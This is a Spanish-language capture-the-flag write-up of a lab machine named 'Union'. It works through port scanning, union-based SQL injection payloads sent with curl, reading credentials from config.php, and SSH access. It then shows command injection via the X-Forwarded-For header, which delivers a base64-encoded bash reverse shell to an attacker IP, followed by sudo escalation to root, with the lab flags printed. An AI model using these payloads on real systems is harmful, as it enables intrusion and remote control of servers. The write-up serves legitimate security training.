Union
6 minutos de lectura
- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.11.128
- Fecha: 22 / 11 / 2021
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.128 -p 80
Nmap scan report for 10.10.11.128
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 9.12 seconds
La máquina tiene abierto el puerto 80 (HTTP).
Enumeración
Si vamos a http://10.10.11.128
veremos una página como esta:
Podemos tratar de introducir el nombre de un jugador y veremos que el jugador está disponible para competir en el torneo:
Entonces, podemos pinchar en “here” e introducir una flag en la siguiente página:
Pero aún no tenemos ninguna flag válida.
Vemos que la página está creada en PHP. En este punto, podemos aplicar fuzzing mediante ffuf
añadiendo extensiones PHP:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.128/FUZZ -e .php
index.php [Status: 200, Size: 1220, Words: 158, Lines: 43]
css [Status: 301, Size: 178, Words: 6, Lines: 8]
firewall.php [Status: 200, Size: 13, Words: 2, Lines: 1]
config.php [Status: 200, Size: 0, Words: 1, Lines: 1]
challenge.php [Status: 200, Size: 772, Words: 48, Lines: 21]
Acceso a la máquina
Se descubren algunos archivos interesantes que serán útiles más adelante.
Encontrando una inyección de código SQL
El campo de jugador es vulnerable a inyección de código SQL de tipo Union-based (el nombre de la máquina es una pista). Para probarlo, podemos utilizar curl
desde la consola de comandos:
$ curl 10.10.11.128/index.php -d 'player=asdf'
Congratulations asdf you may compete in this tournament!
Complete the challenge <a href="/challenge.php">here</a>
$ curl 10.10.11.128/index.php -d "player=asdf'"
Congratulations asdf' you may compete in this tournament!
Complete the challenge <a href="/challenge.php">here</a>
$ curl 10.10.11.128/index.php -d "player=asdf'-- -"
Congratulations asdf'-- - you may compete in this tournament!
Complete the challenge <a href="/challenge.php">here</a>
A primera vista no parece vulnerable. Podemos probar a inyectar una sentencia UNION SELECT
y entonces veremos un resultado distinto:
$ curl 10.10.11.128/index.php -d "player=' union select database() -- -"
Sorry, november you are not eligible due to already qualifying.
$ curl 10.10.11.128/index.php -d "player=' union select version() -- -"
Sorry, 8.0.27-0ubuntu0.20.04.1 you are not eligible due to already qualifying.
$ curl 10.10.11.128/index.php -d "player=' union select user() -- -"
Sorry, uhc@localhost you are not eligible due to already qualifying.
En este punto, podemos crear un programa para facilitar la extracción de datos mediante inyección SQL. Esta vez, he utilizado un programa en Java llamado UnionSQLi.java
que genera una sesión interactiva para introducir consultas SQL y muestra el resultado de la consulta (explicación detallada aquí).
Capturando la flag
Con este programa, podemos capturar fácilmente la flag que necesitamos:
$ rlwrap java UnionSQLi.java
SQLi> select database()
november
SQLi> select group_concat(table_name) from information_schema.tables where table_schema = 'november'
flag,players
SQLi> select group_concat(column_name) from information_schema.columns where table_name = 'flag'
one
SQLi> select one from flag
UHC{F1rst_5tep_2_Qualify}
Al introducir la flag en la página web, se obtiene la siguiente respuesta:
Ahora, el puerto 22 (SSH) está habilitado para nuestra dirección IP:
$ nmap 10.10.11.128 -p 22
Starting Nmap 7.92 ( https://nmap.org )
Nmap scan report for 10.10.11.128
Host is up (0.051s latency).
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds
Accediendo por SSH
Sin embargo, no sabemos ni el usuario ni la contraseña para entrar por SSH.
Utilizando SQLi, podemos tratar de leer archivos del servidor. Veamos si podemos encontrar credenciales en texto claro en config.php
:
$ rlwrap java UnionSQLi.java
SQLi> select load_file('/var/www/html/config.php')
<?php
session_start();
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
$dbname = "november";
$conn = new mysqli($servername, $username, $password, $dbname);
?>
Y ahora que tenemos unas credenciales para MySQL, podemos reutilizarlas para SSH, y en este caso funcionan:
$ ssh uhc@10.10.11.128
uhc@10.10.11.128's password:
uhc@union:~$ cat user.txt
5875c4d16efbe9165548f9a5157e61ab
Habiendo capturado la flag user.txt
, podemos enumerar el sistema. No hay mucho que hacer como usuario uhc
.
Movimiento lateral al usuario www-data
Podemos continuar leyendo el código fuente mediante SQLi, o bien desde la sesión de SSH.
Encontrando una inyección de comandos
Mirando en el archivo firewall.php
, podemos verificar cómo se aplica la regla de iptables
para habilitar SSH para una dirección IP determinada:
uhc@union:~$ cd /var/www/html
uhc@union:/var/www/html$ cat firewall.php
<?php
require('config.php');
if (!($_SESSION['Authenticated'])) {
echo "Access Denied";
exit;
}
?>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<!------ Include the above in your HEAD tag ---------->
<div class="container">
<h1 class="text-center m-5">Join the UHC - November Qualifiers</h1>
</div>
<section class="bg-dark text-center p-5 mt-4">
<div class="container p-5">
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
};
system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
<h1 class="text-white">Welcome Back!</h1>
<h3 class="text-white">Your IP Address has now been granted SSH Access.</h3>
</div>
</section>
Se ve que está utilizando un comando a nivel de sistema con sudo
. El usuario que ejecuta el servidor es www-data
, por lo que este usuario tiene permisos de sudo
.
Esta misma línea de código es vulnerable a inyección de comandos, ya que la variable $ip
está siendo contatenada al comando de sistema. Podemos conseguir control sobre la variable si incluimos una cabecera HTTP llamada X-Forwarded-For
.
La explotación de la vulnerabilidad se puede realizar utilizando un ;
, añadiendo el comando y después poniendo otro ,
o un comentario (#
). Yendo al grano, podemos introducir un comando codificado en Base64 para enviarnos una reverse shell:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
Hay que tener en cuenta que necesitamos tener una cookie válida para indicar al servidor que estamos autenticados:
$ curl 10.10.11.128/firewall.php -H 'X-Forwarded-For: ; echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash #' -H 'Cookie: PHPSESSID=57ti1m6fcai85k3mddqamripr0'
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.128.
Ncat: Connection from 10.10.11.128:33092.
bash: cannot set terminal process group (801): Inappropriate ioctl for device
bash: no job control in this shell
www-data@union:~/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@union:~/html$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@union:~/html$ export TERM=xterm
www-data@union:~/html$ export SHELL=bash
www-data@union:~/html$ stty rows 50 columns 158
Escalada de privilegios
Como se muestra a continuación, el usuario www-data
es capaz de ejecutar cualquier comando como root
usando sudo
sin proporcionar contraseña:
www-data@union:~/html$ sudo -l
Matching Defaults entries for www-data on union:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on union:
(ALL : ALL) NOPASSWD: ALL
Entonces, la escalada de privilegios es sencilla:
www-data@union:~/html$ sudo su
root@union:~# cat /root/root.txt
b044d40cc077970a99f680d1e82211b6